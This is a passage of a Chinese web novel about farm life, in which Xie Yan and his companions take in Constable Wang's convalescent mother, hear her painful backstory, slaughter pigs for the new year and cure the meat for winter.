以往两人起晚了柳梦寒从不会喊他们,但今天不一样,王捕头和王大娘来了,柳梦寒又不知道该怎么招呼他们,所以饭一好他就来敲了门。
谢言和沈念白昨天睡得太晚,现在被喊醒眼睛都睁不开。眼见柳梦寒的喊声越来越急,似乎下一秒就要破门而入了,谢言总算是睁开了眼睛,回了一句,“马上。”
直到谢言说话沈念白才醒了,他迷糊的问了一句,“什么时辰了?”
谢言道:“还早,你睡吧,我去看看。”
沈念白意识还混沌着,脱口而出,“看什么?”
谢言随口回道:“看今天早饭吃什么。”说着轻轻拍了拍沈念白露在外面的肩膀,“没事,你睡吧。”
沈念白确实太困了,一歪头又睡了过去。谢言起床穿好衣服,开门看到还在门口等着的柳梦寒,他笑道:“你没有听到我答应你啊?”
柳梦寒老老实实的回道:“听到了。”
谢言随口道:“那你还在这儿站着。”
柳梦寒往楼下看了一眼,压低声音说道:“我有点怕王捕头。”
两人一起往楼下走去,谢言以为他觉得王捕头长得凶,于是宽慰他道:“不凶一点当不了捕头,但他人其实挺好说话的。”
下了楼两人就没有在说这个话题了,毕竟王捕头就在院子里站着,连王大娘也在。
眼见谢言要出门去跟他俩说话,柳梦寒低声说道:“早饭好了,你喊他们来吃饭,等他们吃完了,我在喊许承志他们回来吃饭,不然人多了吵得很。”
平时到了点许承志他们自己就知道回来了,但今天王捕头在这儿,他们怕打扰谢言谈事,所以去山上之前特意跟柳梦寒通了气,等谢言他们事情说完柳梦寒在喊他们吃饭。
“行。”谢言点头,说完就大步流星的朝院子走去,他热情的与两人打招呼,“捕头大哥,大娘,怎么不多睡会儿?”
王大娘回道:“睡醒了,出来走走。”
谢言笑道:“早饭好了,去吃早饭吧。”
王大娘站都快站不起来了,干枯的双腿直打颤,谢言见状赶紧上前扶住了她,与王捕头一起扶着她进了堂屋。
王捕头看起来没什么胃口,脸色一直都是沉着的,早饭也没有吃什么,倒是王大娘胃口不错,喝了一大碗稀饭还吃了些肉和两个包子。
吃完了饭,王捕头就要回县城了,临走前,他叮嘱谢言,“你一定要好好照顾我娘。”
事已至此谢言不能推脱,只能满口答应,“捕头大哥,你放心,我们肯定会很好好照顾大娘的。”
说完王捕头跟王大娘说了声,“娘,我回县城了,你要是想回来了,就让谢言给我带个信,我就来接你。”
王大娘道:“知道了。”
王捕头说完就走了,谢言给了他几个饼子,“捕头大哥,拿着路上吃吧。”
王捕头本来不想要,但看着王大娘一直在往这边看,最后还是收下了。
送走了王捕头,柳梦寒才喊许承志他们回来吃早饭。谢言悄声与柳梦寒说道:“你别去叫念白,让他多睡一会儿。”
柳梦寒点头,“我知道。”
谢言又说道:“王大娘是来养病的,你和念白这段时间就一起照顾她,注意一定不能让她磕了碰了,她有什么需要你们及时满足就是。”
看柳梦寒的神色明显不理解为什么王大娘会来这里养病,但碍于人就在不远处,所以他也没有问出来,只是点了头,算是应了。
山上还有活要干,谢言也没有在屋里多待,他背上背篓跟王大娘说了一声,“大娘,我上山割牛草了,你有事跟念白和梦寒他们说就是。”
王大娘道:“这个季节该栽菜了,我跟你一起上山栽菜去。”
谢言一听眼睛都吓大了,连忙摆手,“别别别,你在家好好休息,等你身体好了咱们在说上山的事。”
王大娘说着就要站起来,但是双腿颤了又颤,好一会儿才站直了,这种状态别说上山了,就是路都走不了多久,于是她叹了口气,打消了要去做活的想法,“嗯。”
见她同意了,谢言在心里长长的松了口气,吓死他了,他都不敢想,要是王大娘非要去上山他该怎么办?
生怕王大娘改主意,
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谢言拔腿就往山上跑。
来到山上,谢言将背篓放在地里,然后挑着昨天半道放下的水桶继续往前走,来到菜地,给这几天栽的菜苗浇水。
给菜苗浇完水又去给新撒的菜籽浇水,菜籽密密麻麻的撒了两块地,是给小鸡崽种的菜苗,两块地浇完,谢言这才准备割牛草。
路过菜地的时候看到柳梦寒在割红薯藤回去喂猪,谢言这才想起红薯就是这个季节挖,于是他拿着锄头挖了一窝,红红的红薯已经有小臂长了,像碗口一样粗,已经可以挖了。
于是谢言跟柳梦寒说道:“不用留藤了,下午我就开始挖红薯。”
柳梦寒说道:“这么多红薯藤这几天可吃不完。”
谢言回道:“割回去晾干,等冬天没有鲜草了就喂干的。”
柳梦寒应声,“哦。”
谢言将挖起来的几个红薯捡起来放在柳梦寒的背篓里,“这几个红薯今天中午煮来吃。”
“行。”
说完话谢言就背着背篓往山上打牛草去了。
背完牛草回家,柳梦寒在做饭,王大娘在灶前坐着看样子似乎在烧火,但他们的柴都是砍好的树干,并不费劲所以谢言并不担心,只是柳梦寒看起来像是吓坏了,视线一直往王大娘那瞟,看到谢言回来神色更慌了。
“谢言哥。”
谢言看向王大娘,与她说道:“我来烧吧,大娘你回房休息休息。”
王大娘拒绝了他,“不用不用,休息得够久了活动活动。”
听到王大娘的话谢言也没有坚持,适当的活动确实有助于身体康复,他转头问了柳梦寒,“念白呢?”
柳梦寒回道:“喂鸡去了。”
鸡太多了,喂鸡也成了重活,谢言道:“我去看看去。”
谢言说完就出了门,柳梦寒赶紧追着他出了门,“谢言哥。”
谢言停下看他,柳梦寒拉着他往前走了好几步,离堂屋远了这才压低声音解释,“谢言哥,王大娘她非要干活,我劝都劝不住,我又不敢使劲说。要不,你去跟她说说?”
从谢言跟王大娘仅有的几次的接触来说,他可不认为王大娘是能轻易被劝住的人,换句话说就连王捕头都拗不过她,更何况只有几面之缘的谢言了。
但这话谢言也不好说,他想了一下说道:“适当地干点活没事的,只要保证安全就行。”
柳梦寒脸色为难,他不解地嘀咕道:“好端端的县城不住,为什么会到我们这里来啊?”
这个问题谢言也好奇,他低声道:“等你跟大娘混熟了,旁敲侧击地问问她呗。”
柳梦寒颇为不敢置信地看向他,“你都不知道?”
谢言反问道:“我怎么会知道?”
柳梦寒道:“那你就答应了?”
谢言看着他露出一个难耐的表情,柳梦寒也不是傻子一看就明白了,人家可是捕头,谢言能拒绝吗?
出来的时间太久了,柳梦寒怕王大娘觉得他们孤立她又挂记着锅里的菜,他道:“我尽量吧。”说完就进屋去了,谢言则转身朝二山走去。
76.第 76 章
谢言来到二山看到沈念白进了山里,站在遮雨棚旁边倒鸡食。一个多月过去,二山放的小鸡崽长大了些,有谢言一只手掌大了。
鸡食准备的时间长,喂鸡倒是用不了多久。山上鸡太多了,沈念白嫌麻烦就在二山的栅栏外放了一个木墩子,将菜切小拌上糠端进去倒地上就行了。
鸡多了,一直叫个不停,说话也难听见,谢言就在旁边站了一会儿,沈念白也看见了他,本来他还尽量撒均匀点,现在一股脑全倒地上就出来了。
“谢言哥。”
谢言伸手捡掉了沈念白头上的白色鸡毛,随口说道:“家里没看见你,过来看看。”说罢又问道:“你怎么进去喂了?”
沈念白一边收拾东西,一边解释:“哦,这栅栏不够高,我在外面大鸡很容易飞出来。我打算慢慢的把栅栏加高一点,不然等小鸡长大了,这么多鸡要是跑出来就难搞了。”
谢言看着插在地上的栅栏,大概只有一米高,加上山坡有斜度,确实很有可能飞出来,“那我下午就去砍竹子。”
沈念白应了声,两人并肩往家里走去。
有王大娘在,午饭吃得很沉默,平时大家还会说说话,但今天除了谢言说了跟王大娘说了几句话,没有一个人说话。
不说话饭就吃得更快了,没一会儿就吃完了,谢言喊了许承志,“承志,你等会跟我去砍竹子。”
王大娘听到他的话,问道:“砍竹子做什么?”
谢言解释道:“二山圈鸡圈的栅栏太矮了,加高一些。”
王大娘听到他的话朝二山看去,“确实矮了,应该还要加高一半。”
柳梦寒趁机佯装惊讶地问道:“大娘,你还懂喂鸡啊?”
王大娘笑了笑,“别看我老婆子现在这样子,我年轻的时候可是村子里出了名能干。”
开了头,就好问下去了,柳梦寒继续问道:“您年轻的时候住村里呢?我还以为您是土生土长的县城人士呢。”
王大娘看着远山,目光悠远,“不是,我在县城定居也没几年。”
柳梦寒看了谢言一眼,谢言又扫了许承志他们一眼,许承志很懂事地默默地带着大家离开了,很快院子里就只剩下了王大娘,谢言,沈念白,柳梦寒四人。
柳梦寒继续问道:“那您之前住在哪个村啊?”
王大娘回道:“细柳村。”
沈念白接了话道:“细柳村可远。”
王大娘道:“是啊。”
柳梦寒总算是找到机会问出那个他们都很好奇的问题了,“那您怎么不回家乡,要到我们这里来呢?”
王大娘笑了笑,“我喜欢这里。”
这个答案显然并不能让大家满意,但王大娘却不打算再说了,她朝谢言说道:“我坐久了腿有点麻,你扶我进去行不行?”
谢言连忙应承,“大娘你太客气了。”说着上前扶着王大娘进了她自己的屋中。
谢言顺口问道:“要睡会儿午觉吗?”
王大娘回道:“暂时不睡,你坐下我有话跟你说。”
谢言听得心里打鼓,难道刚才的话引起王大娘的反感了?但他面上不显,只是扶着王大娘坐下后默默地在旁边坐下了。
王大娘开口的第一句话就把谢言吓得够呛。
“我知道你很好奇我为什么要来这里。”
被戳中心事谢言只能尴尬地笑着说客套话,“我知道大娘您喜欢我们这儿,能得到您的喜欢,我们都很开心。”
王大娘道:“喜欢是一方面。”
看着王大娘沉重的脸色,谢言直觉知道多了对他并没有好处,于是他赶紧表示,“对我们来说喜欢就够了,大娘,您歇着,我就不打扰了。”
谢言想走,但王大娘却不让他走了,“听我说完吧。”
王大娘都这样说了,再说要走就不合适了,于是谢言又坐了回去。
王大娘这才慢慢地说了起来。
二十五年前,王大娘刚成婚还没有一年她丈夫在回家的路上不小心摔下悬崖摔死了,她怀着孕操持着丈夫的葬礼。在葬礼上夫家的人说她克死了她丈夫,只留给她一块最小的田和一个茅草屋。茅草屋在山上,本来是搭来避雨的,又远又偏僻。
她到处求人,村长,族长,里正,官府都找遍了都没有用,眼看肚子越发的大了,她走投无路只能回娘家寻求庇护,她想得至少等她把孩子生下来再回去,可娘家的人一看她回去就关上了门,不论她怎么哭求,都不愿意接纳她。
最后,王大娘只能孤身回到了茅草屋,在回去的当晚就发作了,她独自在茅草屋内生下了孩子。
孤儿寡母守着一口薄田熬死了也吃不饱,于是王大娘只能去捡别人不要的边角地,又陡又斜又小的边角地,王大娘视若珍宝,将它们打理得仅仅有条,日子虽然紧巴巴但也能过下去。
可上天并没有放过她,别人见她将边角地打理得这么好,又收回去了。本来就是别人的地,收回去王大娘也不敢说什么。
没有了边角地,粮食就不够吃了,于是王大娘只能背着孩子去山上开荒。她没有山,只有去别人的山上的开荒,那么大那么多的山,她本来以为少开一点不会有人发现,可直到她摸黑开完了两块地,翻好种下种子主人家就现身把她赶走了。
她这才知道,主人家早就知道她在偷偷摸摸地开荒,就是等着她这个免费的劳动力。
没有地,孩子又那么小,王大娘实在没有办法,只能带着孩子去县城讨饭。
在县城讨了半年的饭,终于找到了一个绣娘的活计。
王大娘的手很巧,她的绣品能卖出很好的价钱,主家也没有亏待她,给了她的钱远远比其他绣娘多,也正是因为这样,她才能供王捕头念书。
主家的院子有一棵枇杷树,长得特别好,王大娘房间的窗户正对着那棵枇杷树,最开始她在主家不认识什么人,更没有朋友,绣久了她就默默地盯着枇杷树发呆,看了一会儿眼睛就会好受一
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些。
虽然她从来没有吃过那棵枇杷树结的枇杷,但每年初夏看着满树枇杷金黄她的心也会跟着松快一些。
王捕头知道家境不好,从小念书就格外的努力,他在念书上也很有天赋,并且顺利地考上了举人。再往前读就是进士,平常人家中进士的希望多渺茫啊,王大娘这些年没日没夜地绣绣品,眼睛也熬坏了,每月的工钱少了,根本供不起王捕头在继续念书了。
王捕头很懂事,主动地放弃了继续念书的想法。他没有背景即便有举人的身份也没办法进入县衙,最后几经周折费了一两年才终于进了县衙当捕快,费心费力地干了好几年才干到了捕头。
当上捕头她们娘俩的日子就好过了,也终于在县城里置办的房产,就在王大娘以为苦尽甘来的时候她之前的主家突然找上门来。
原来三天前主家的儿子在酒楼吃多了酒失手打死了人,已经被捉拿归案了,他找了好多人都没用,最后才听说现在的捕头是他家曾经绣娘的儿子,马不停蹄地就找了过来。
王大娘看着面前哀求的面孔,曾经高高在上的主家现在哭着要给她下跪,曾经想都不敢的银子一盒一盒的摆在桌上,她心里没有半分欢喜只觉得惶恐,只有她知道他们娘俩吃了多少苦头才换来一个捕头的位置,要是有了污点,这个捕头的位置还能坐多久呢?
那天王大娘并没有答应主家,主家指着她大骂忘恩负义,她麻木着脸不知道该怎么反驳,只能僵硬地将人给请了出去。
她本以为挨了一顿骂这件事就过去了,但后来她在买菜的时候却听说杀人本该是杀头的死罪,可后来却改成了坐三年牢,大家言辞中都暗示着是主家找了人疏通。
那天王大娘连菜都没敢买就落荒而逃回了家,当天王捕头下值回来王大娘就问了他,是不是他暗中帮了忙,虽然王捕头矢口否认了,但王大娘并不相信,心里笃定就是他暗中帮了忙,这让她的心越发的惶恐,毕竟当捕头这件事是瞒不住的,要是人人都来寻求帮忙,又该怎么办呢?
从那以后王大娘便很少出门了,甚至可以说能不出门就不出门,即便这样来求她的人依然有,只不过都被她拒之门外,唯一走动的就是当年在绣房结识的几个姐妹,久而久之街坊邻居都说她是个怪人,也因为这个原因,王捕头到现在都还没有成亲。
几个姐妹都各自有家庭,平常都很忙,王大娘也不好过多地去打扰她们,所以常年都是一个人在家待着,久而久之也待得烦了,所以在听谢言说起灵秀山要开荒招人的时候她才动了心思,她不是想挣钱,就是不想一个人在家待着惹人闲话。
王捕头不让她去,王大娘虽然很失望但也没有坚持,直到前不久她其中一个姐妹竟然求到她这里来。她的外侄犯了事,强迫了一个怀孕的新妇导致新妇流产当场死亡,这是杀头的重罪。
“阿桃,我们几十年的交情,只有你能帮我了,你一定要帮我啊,那是我亲自拉扯大的孩子,我不能眼睁睁地看着他去死。”
77.第 77 章
说到这里王大娘停了下来,她看向谢言。谢言对上她的视线,没有说话,他不知道该说什么,更知道这些事不是他这个外人能评判的,于是他只是静静的等着王大娘继续说下去。
顿了一会儿,王大娘就继续说了起来。
别的人她可以狠心拒绝,但是交心几十年的姐妹,王大娘实在狠不下心,于是她一心软鬼使神差的就答应了。
当天晚上她就跟王捕头说了这件事,王捕头看着她沉默了片刻还是答应了。也就是在他答应的那瞬间王大娘陡然发现她竟然看不清王捕头的脸了。屋里明明点了灯,王大娘也凑到王捕头面前,可就是看不清他的脸了。
自那以后王大娘就病倒了,她开始没日没夜的做梦,梦到一个下身流血的女人,那个女人哭求着朝她爬过来,嘴里说着,“救救我,救救我。”
王大娘立在原地,双腿像是陷在土里,一动不能动,她惶恐的看着女人越爬越近,直至拉到了她的衣摆,待女人抬起头来,竟然长着跟她一模一样的脸。
王大娘的病越发的重了,来看病的大夫脸色越来越凝重,王大娘知道她没几天好活了,恍惚间她又回到了才当绣娘的日子,她坐在窗边看着不远处的枇杷树,满树金灿灿,她还闻到了枇杷的香味。
王大娘说到这儿就停下来,谢言也听明白了,原来她说的枇杷并不是灵秀山的枇杷膏。
谢言敛眸,他不知道该说什么。沉默了好一会儿,谢言开口道:“您早些休息吧。”
就在谢言的起身的瞬间王大娘又继续说了下去,“我病得最严重的时候,耀生跟我说,他并没有帮忙,那个人依旧判了秋后问斩。听了他的话我顿时松快了许多,连病也慢慢的好了。但没几天,阿秀就冲进来骂我,虽然被耀生赶出去了。才松快的心又被沉沉的压住了,病又重了。”
听到这儿谢言才终于说道:“大娘,事情都过去了,以后你就安心在这儿住下,不要在想过去的事了,身体肯定会好起来的。”
王大娘笑了笑,“耽误你这么久,快去忙吧。”
谢言道:“都是瞎忙,您休息吧。”
“嗯。”
从王大娘的房间出来,沈念白和柳梦寒还在堂屋坐着,见他出来齐齐看了过去,柳梦寒好奇的问道:“这么长时间王大娘跟你说什么了?”
谢言敷衍道:“就问了一些灵秀山的情况。”
柳梦寒觉得惊奇,“连这里的情况都不知道,就到这里来啊?”
“这我怎么知道?”谢言不欲多说,“我去砍竹子了。”
谢言转身就要走,沈念白起身,“我跟你一起去。”
谢言拿上砍刀,两人一起往竹林去,路上沈念白说道:“谢言哥,刚才我在跟梦寒说,要不咱们打一口水缸吧?马上就要到冬天,老是往河边跑冷得很。”
谢言应道:“好,我晚上跟许承志他们说一声,在看看在山上打一口井,把水接到家里去。”
沈念白欣喜的应道:“好。”
谢言砍了十几根竹子,竹子不能砍多了,晒蔫吧了就不好削了。
“竹子用完了就跟我说,我在去砍。”
“好。”
两人一起将竹子扛回了家,沈念白就和柳梦寒一起上山打猪草了,十头猪长得肥嘟嘟的,吃得可多,每天猪草都要割五六背。谢言则扛上锄头,背上背篓去地里挖红薯。
系统的种子很好,每一个红薯都是又大又胖,产量也高。谢言和宋家人一起挖了好几天才挖完,挖完红薯又挖土豆,都是大丰收。
时间过得很快,转眼就到了冬天,陡峭的寒风吹得人脸都痛,每年冬天都是很难熬的,下雪的那段日子,连被窝都是冷的。
这期间张佳华来过一次,不过地里没有菜了,水果也只有柚子,酸酸甜甜的柚子结了满树,但张佳华只拉了十几个,他说带酸味的果子销量不大好,还拉了一些红薯,土豆,凉薯,芋头之类的应季的菜,但谢言念着过冬没啥吃的,也没有让张佳华拉多少。
冬天地里没什么活了,谢言就跟着大伙一起去开荒。进入腊月,就开始下雪了,鹅毛大雪将山覆盖成一片白茫,开荒也开不了了,趁人都还在,谢言就打算杀猪过年了。
杀猪这天,谢言早早就起了,地里没活,这段时间谢言都是睡到日上三竿才起的。
谢言下楼,所有人都已经在堂屋坐着了,柳梦寒喊了他吃早饭。大家一起吃了早饭,杀猪要在院子里杀,大锅也要抬到院子里去烧水,几个大男人就去坝子边掏了一个灶洞,将大锅架在上面,然后去河边去挑了水将锅装满开始烧火。
这边开始烧水了,另外一边就可以杀猪了,谢言和许承志他们好几个人去猪圈里抓猪,一共十头猪,两头母猪,八头公猪,母猪要留下下崽,公猪要留一头配种,配种的公猪谢言都已经选好了结果不知道怎么回事,猪圈的门突然打开了,受惊的猪全都跑了出去,一头也没有抓到。
猪窜起来快得很,哼哧哼哧的铆足了劲跑,一群人跟在后面追。追到坝子上,为了防止猪跑到山上去,一时间听到声音的所有人都围过来抓猪了。
一群人在坝子外围成一圈,只要不跑到山上去就好说。二十个人勉强把坝子围住,但光是围住也没用,还是要想办法把猪抓住才行。
谢言说:“拿棍子敲,敲晕了事。”
其他人没有更好的办法,只能试一试。沈念白这段时间在编栅栏,坝子上正好有竹子,就在谢言的身边,于是谢言拿了竹子给每个人都递了一根,然后说:“两个人负责一头猪,我说开始就一起上。”
说完话谢言顿了一会儿后才喊,“上。”
一时间所有人都开始挥着竹子开始打猪,猪受了惊开始猛蹿起来,男人的力气大还行,但沈念白柳梦寒和宋家人几个哥儿,力气不够,竹子又大根本挥不起来
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,于是猪就他们那儿突围出去了。
猪疯狂的往前跑,跑得太快也来不及看路,跑最前面的猪猛地就窜进了滚烫的锅里,只听‘嗷~~’的一声惨叫,后面的猪没刹住,接二连三的往锅里扑,力道太大,又将前面的猪从锅里推了出去,一时间猪的惨叫声响彻天际。
事情变化得太快又太狗血了,一群人站在旁边好久都没有回神。
一锅滚烫的水到最后已经没水了只剩下烧红的锅,八头猪被水烫的水烫,被锅的被锅烫,反正没个好的。
虽然过程戏剧了些,但最后还是如愿的将猪给杀了,只是可惜没有留下一头公猪配种。
猪放了血就拖到烧满热水的锅边,用热水浇透后刨毛,刨了毛就可以破猪了。
除了谢言和几个哥儿,其他人都会破猪,于是谢言他们就在旁边打下手。谢言在旁边看着,沈念白和柳梦寒端了猪血和下水做午饭去了,宋家的人端着大肠去河边洗。
人多干什么都快,八头猪一个时辰就全部分割好了。肉摊了半个坝子,谢言在心里盘算着,没有冰箱,鲜肉最多能吃两个月,因为灵秀山一般会下两个月的雪,肉放在雪里不会坏,但这么多肉两个月肯定吃不完,以现在的条件只有熏成腊肉和香肠。
要熏腊肉就要盐,谢言打算下午去一趟县城多买些盐,同时给王捕头带点肉去。
中午吃刨猪汤,谢言半年没有吃猪肉了,现在闻着这个味口水都要流出来了,其他人更甚,以至于中午吃饭的时候大家非常感慨,“没想到我也有吃上猪肉的一天。”“这都要感谢谢大哥,要不是谢大哥,我们哪里能过上这么好的日子。”“感谢谢大哥。”“感谢谢大哥。”
十几个男人一起说话,声音大得把林子的鸟都惊起来了,谢言起身客气的回道:“我也要感谢大家这段时间的辛苦。哎呀,多的话不说了,菜都要冷了,吃饭吃饭。”
冬天风一吹过来,菜都要凉一截,加上大家都不是圆滑健谈的人,听到谢言的话后大家果然不在客气了,大快朵颐的吃起饭来。
刨猪汤虽然多是下水,但香料和盐放得足,吃起来别有一番风味,偶尔吃一吃比猪肉还要香。
王大娘跟谢言坐一桌,虽然吃得不多,但人一直笑呵呵的。这段时间王大娘的身体好了很多,不仅走路不抖了,甚至都能上山遛弯了,她闲不住,即便没事做每天都要往山上跑两趟,也就是这几天下雪了,地湿滑谢言怕她摔倒几经劝阻才劝下来了。
吃完饭,谢言与王大娘说道:“大娘,我下午要去县城买盐,顺便给王大哥送点肉去,你有什么要带给他或者要买什么吗?”
王大娘回道:“天冷了,你跟他说让他多穿点衣服就行。他要是问起我来,你如实说就是。”
谢言点头应道:“好。”
冬天黑得早,谢言吃了午饭跟沈念白一起挑了两块最好的五花肉放在背篓里就往县城去了。
78.第 78 章
来到县城谢言先是去了天悦酒楼,跟张佳华说了他这几天就要放塘水挖藕的事。
“池塘不算大,大概能挖个两千来斤,你来拉的话我就都挖起来,不来的话就吃一点挖一点。”
张佳华也没有给明确的答复,只是说:“今天掌柜的不在,等他回来我问问他。”
下雪了,又冷山路又难走,张佳华心里不想跑这一趟的。
谢言也没有多问,应了声道:“那我就先不挖,人多来了在挖也来得及的。”
“行。”说完正事,张佳华问道,“你今天来县城办事吗?”
谢言回道:“杀了几头猪,想熏腊肉,来城里买盐。”
张佳华道:“一个人一次只能买二十斤盐,够吗?”
以往谢言最多买过十五斤,所以他还不知道有这种限制,但他着急走也没有跟张佳华多说,“应该够了,先买回去看看。”
张佳华也看出来他很着急,他也理解这个天要是走夜路是很遭罪的,于是他也没有在闲话了,“天不早了,你赶紧去忙吧。”
“那张哥我就先走了。”
“嗯。”
从天悦酒楼出来,天色还早,谢言想着王捕头还没有下值,于是先去了盐铺。
天冷了,街上人少,盐铺的客人就更少了,谢言进去只有一个人看店,谢言问了一个人一次确实只能买二十斤盐,要想多买就得去县衙开证明,谢言不想那么麻烦于是就买了二十斤盐。
从盐铺出来,天还早着,谢言估计要是等王捕头下值估计得等到天黑了,于是他直接来到王捕头的家门口,准备将肉放在门口就回家去。
“干嘛呢。”
谢言刚将肉挂好就听见了一道不客气的喝声,谢言赶紧转身,对上了下值回来的王捕头,王捕头看到是谢言也缓和了神色,“谢言,你这是干什么呢?”
谢言回道:“哦,我们今天杀了年猪,送两块肉给王大哥你尝个鲜。”
说话间王捕头上前开门,谢言见状又将挂在门上的两块肉拿起来了。
开了门,两人进屋,王捕头关上门,谢言闲聊问道:“王大哥,你今天这么早就下值了?”
王捕头抖了抖身上的雪,一边回道:“巡完街没什么事就回来了。”说完问道,“我娘怎么样了?”
谢言照实回道:“王大娘的身体好了许多,人也精神,就是闲不住,之前每天都要山上走两圈,现在下雪了,我们好说歹说才劝住了。”
听到王大娘的身体好了,王捕头表情明显松了下来。谢言继续说道:“知道我要来县城,王大娘让我给你说天冷了要多穿衣服。”
王捕头道:“你回去跟她说,我知道。”
“我回去就跟王大娘说。”这事说完,谢言又说起了他拿来的两块肉,“不知道王大哥你喜欢吃哪个部位,我就拿的肥肉相间的。”
王捕头接过肉道了声谢,谢言连忙道:“王大哥太客气了,都是自己家里的东西,也不值钱。”说罢他又道,“我们今天一共杀了八头猪,王大哥你要是有喜欢的部位跟我说,我赶明儿在给你送来。”
王捕头将肉挂起来随口问道:“杀那么多一两个月吃得完吗?”
谢言回道:“我买了盐打算熏成腊肉香肠。”
王捕头问道:“八头猪要不少盐吧?”
谢言回道:“不怕王大哥笑话,这还是我第一年喂猪,具体要多少盐我也不知道,买了二十斤盐回去看看,要是不够在来买就是。”
王捕头道:“八头猪就算这两个月吃两头,二十斤盐腌六头猪肯定是不够的。”
谢言打了个哈哈,“冬天没活,多跑几趟也不耽误事。”
王捕头在衙门这么久,自然知道盐铺的规矩,“这么冷的天来回跑多费劲,走,跟我去盐铺买个两百斤盐回去。”
谢言都惊了一瞬,“啊,两百斤是不是太多了?”
王捕头回头看他,“没钱?”
谢言这次来县城是打算多买些盐的,钱自然是带足的了。
他眨了眨眼睛,“我的意思是,应该用不了那么多吧?”
王捕头回道:“雪只会越来越大,起码得等到春分过后山路才好走。”
王捕头都说得这么明显了,谢言自然也不好多说什么,只是道:“会不会给王大哥你添麻烦啊?”
王捕头闻言都笑了,“我这个捕头要是这点事都觉得麻烦,我也不用干了。”
谢言尴尬的笑了笑,“谢谢王大哥。”
“走吧,别耽搁了,等会天都黑了。”
“诶。”谢言背着背篓跟着王捕头出了门,往盐铺去。
来到盐铺顺利的买到了两百斤盐,买完盐王捕头与谢言说道:“天不早了,回去吧。”
谢言应了声,也没有多说什么背着背篓就离开了,他走的时候王捕头还在盐铺里,听着在跟盐铺的人说话,但是雪落起来了,谢言忙着赶路也没有注意听他们说了些什么。
雪越下越大,谢言走路的速度都慢了许多,等他回到家天都已经黑了。
晚饭已经做好了,所有的人都在竹屋烤着火等谢言,之前开荒挖的树根现在就派上用场了,每年冬天都是靠烧树根取暖度过的。
听到谢言的声音,沈念白忙迎了上去,“谢言哥。”
许承志上前将谢言的背篓接了下来,“哎哟,这么重啊。”
众人都从竹屋里出来了,王大娘道:“雪这么大夜路多难走,耀生应该留你住一晚上明天在回来的。”
谢言忙解释道:“王大哥说了,但我挂念着回来腌肉,所以就回来了。”
王大娘道:“天这么冷,明天腌也没问题的。”
谢言笑了笑,“早点干完了了一场事。”
人都回来了,说得在多也没有用了,柳梦寒道:“先吃饭吧。”
一群人去了堂屋坐下,饭菜已经做好了,都在锅里温着,柳梦寒和沈念白将饭菜端上了桌,还是热气腾腾的。
沈念白给谢言冲了姜片水,“谢言哥,喝点姜水去去寒。”
“走热了,一点不冷。”谢言说着还怕沈念白不信,拉起他的手在额头上碰了一下,确实全是汗水。
沈念白道:“下了雪,地滑得很,你走慢点啊。”
谢言笑道:“我走得慢,是东西太重了。”说着拍了拍沈念白的肩膀,“好了,这不是没事嘛,吃饭吧,
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好饿。”
听到谢言的话沈念白也不在说什么,只是固执的将姜水放在他面前,谢言见状端起来一口就喝完了,沈念白见他被辣得呲牙咧嘴的,不由得笑了起来。
吃完了饭,谢言就带着沈念白和柳梦寒和宋家人开始腌肉,许承志他们在旁边用棕榈叶绞成的挂钩将腌好的肉给挂起来。
腌了六头半,剩下的用来灌香肠和这个冬天吃。
肉都处理好了,谢言道:“明天把香肠灌起来,就可以开始熏了。”
沈念白看着一屋子的肉,“光在竹屋熏怕地方不够吧。”
这么多肉肯定不够,谢言道:“在在旁边搭几个小棚子,分散点,控制温度不要升那么高。”
王大娘道:“这得搭好几个棚子才够。”
谢言道:“先搭五个看看。”
王大娘道:“五个我看够呛。”
谢言笑道:“先搭着看看。”说着谢言看向了许承志,“牛棚四面都没有遮挡,搭棚子的时候顺便把牛棚四面都给搭起来。”
许承志点头,“好,我们明天就开始干。”
忙活了一天了,谢言打了个呵欠,“今天没事了,大家都回去睡觉吧。”
听了谢言的话大家都散了各自回去睡觉了,谢言也打算走的时候发现宋明笙还没有走,看起来似乎有话要说,谢言便问道:“宋师傅,还有事吗?”
宋明笙道:“谢老板,我有点事想跟你商量。”
闻言谢言示意沈念白先走,自己则坐了下来,同时喊了宋明笙,“宋师傅,坐下说。”
宋明笙在谢言对面坐了下来,开口说道:“谢老板,我想在你这儿买块地。”
谢言有些讶异,“你买地干什么?”
宋明笙回道:“建房子,我不想回村子里住了。”说完连忙表示,“不用太大,能建四间房就够了。”
谢言从沈熊那儿也听说了村长的儿子看上了宋绥安,宋明笙不想回村子里也正常,谢言很爽快的同意了,“行啊,你看上哪块地跟我说就是。”
宋明笙实话实说,“我还没看,我想着先跟谢老板你说一声,你同意了我在去看。”
谢言道:“你哪天定下来了跟我说就是。”
宋明笙没想到谢言答应得这么爽快,连连道谢,“谢谢谢老板。”
谢言笑道:“小事,还有别的事吗?”
宋明笙说道:“还有一件事,这段时间山上没活,我想雇许承志他们帮我建房子。不过谢老板你放心,不管房子建成什么样,只要开了春地里的活能干了或者你这边有活要干,我都会停下来的。这期间的工钱的饭钱,我会按天付的。”
这段时间谢言这边确实没事,不过谢言也不好替许承志他们答应,只说道:“我这边没有问题,但接不接活得要他们自己决定。”
宋明笙道:“嗯,我明天就跟他们说去。”
“谢老板,我还想租用你的锅灶,买你的菜,你看能行吗?”
谢言想了想,他要是不答应宋明笙根本转不走,于是他还是答应了,“就地里的东西,有什么吃什么。”
宋明笙一听谢言答应了,忙不迭的感谢,“谢谢谢老板。”
79.第 79 章
挂念着要熏肉,第二天谢言早早就醒了,只不过现在天冷了,起床的时候天也是大亮了。
柳梦寒和宋家人已经做好了早饭,现在没什么事,大家起床都晚了,也不等在一块吃饭了,饭都在锅里温着,自己弄着吃也不耽误事。
谢言下楼先去院子里站了站,大家活都干了一趟了,见他起床许承志过来说道:“谢大哥,牛棚已经搭好了,其他的棚子要搭在什么地方?”
这么多肉搬来搬去的也麻烦,于是谢言说道:“就在附近搭就成,间隔别太远了。”
因为宋明笙要建房子,谢言这边人手不够,如果棚子隔得太远,不方便看火。
许承志点头,“好。”
许承志说完就转身招呼大家搭棚子去了,谢言则回堂屋吃起了早饭,刚揭开锅盖就听见沈念白下楼的声音,他睡醒惺忪的看着像是没睡醒,谢言笑道:“快来吃早饭。”
沈念白应了一声,“嗯。”
两人打打闹闹的吃完了早饭,沈念白就去和柳梦寒一起洗红薯准备煮了喂猪喂鸡,现在山上没有嫩草了,鸡都是喂粮食了,谷子没那么多,都是红薯和土豆间差着喂。
现在谢言也不用上山割牛草了,都是喂干草,也省了很多事。
王大娘闲不住就去跟谢言一起熏腊肉,王大娘现在身体彻底好了,还能提几块肉走路了。
谢言将肉挂在房顶上,错落着挂,确保每一块都能被烟熏到。
